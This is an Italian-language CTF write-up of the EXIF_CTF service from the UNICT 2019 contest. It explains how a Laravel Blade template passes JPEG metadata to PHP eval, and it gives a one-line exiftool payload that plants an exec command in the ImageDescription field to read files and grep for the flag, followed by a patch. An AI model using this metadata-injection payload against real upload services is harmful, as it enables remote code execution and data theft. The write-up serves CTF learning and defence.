EXIF_CTF CTF 2019

-Jelly Hinge Team-

1 Introduzione

Uno dei servizi della CTF dell'UNICT 2019 è EXIF_CTF, un'applicazione web.

2 Il servizio

Il servizio, reperibile nella pagina Github[1]dell'evento, è un'applicazione web che permette all'utente di inserire un'immagine JPEG e ricevere in risposta i metadati ad essa associati.

2.1 La struttura del servizio

Il servizio non è altro che un'implementazione del design pattern MVC realizzata tramite il framework LARAVEL. Il framework genera una grande quantità di file , pertanto bisogna approcciarvisi in maniera forense, esaminandoli tutti e ponendo particolare attenzione su alcuni di essi.

2.2 AppServiceProvider.php

Cuore del framework, ha il compito di avviare i componenti dell'applicazione web e di generare l'array contenente i metadati vulnerabili dell'immagine caricata.

2.3 HomeController.php

Semplice controller, esso associa ad ognuno dei metodi pubblici un URL ed un metodo http.

2.4 Result.blade.php:

Blade è il templating engine di Laravel che permette di scrivere codice php.

[1]https://github.com/unictf/unictf-2019/tree/master/services

2.5 La vulnerabilità

Dall'analisi del codice result.blade.php si evince come una delle funzioni possa essere utilizzata in modo improprio

```
22 @try
23         {{$h}} => <?php eval("echo $hv;") ?> <br>
24         @catch(Exception $e)
25         {{\Redirect::route('home')}}
26         @endtry
```

Eval valuta la stringa passata come codice php, $hv è il metadato associato ad uno degli attributi presenti nell'array $S dell'APPSERVICEPROVIDER. La funzione quindi non fa che mostrare il contenuto della view.

3 L'exploit

La vulnerabilità può essere utilizzata per iniettare codice e cercare all'interno del servizio per ottenere la FLAG.

exiftool -ImageDescription="exec('cat * | grep uniCTF')" img.jpg

4 La patch

Non avendo una vera e propria utilità per il servizio, eliminare l'intero metodo vulnerabile risulta essere la patch più efficace da effettuare.